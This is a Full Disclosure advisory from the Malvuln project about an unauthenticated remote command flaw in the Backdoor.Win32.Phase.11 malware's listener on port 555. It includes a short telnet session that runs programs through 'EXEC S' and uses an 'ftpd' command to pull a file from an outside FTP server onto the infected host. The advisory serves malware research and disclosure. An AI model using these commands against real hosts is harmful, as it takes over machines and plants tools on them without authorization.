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Date: Sun, 12 Dec 2021 20:40:05 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.Phase.11 / Unauthenticated Remote Command

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Phase.11
Vulnerability: Unauthenticated Remote Command Execution
Description: The phAse zero server v1.1 by njord of kr0me corp listens on
TCP port 555. Third-party attackers who can reach an infected system can
run commands made available by the malware and execute arbitrary programs
further compromising the host. Using telnet to connect worked best, to
start programs you need to pass an "S" argument preceding the program name
like... EXEC S PROGRAM_NAME. Other commands are CURDIR, SHOWMSG etc. The
ftpd command can also be initiated to third-party FTP servers to download
tools to the infected host.
Type: PE32
MD5: fb4fb710f031304d788d9cd1c4201552
Vuln ID: MVID-2021-0428
Disclosure: 12/12/2021

telnet.exe MALWARE_HOST 555
phAse zero server v1.1 by njord of kr0me corp
access granted, at your commands
EXEC S "calc"
ftpd anonymous anonymous . DOOM.exe
contacting ...
host contacted, transferring file

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handling or the downloading of ANY Malware mentioned on this website or
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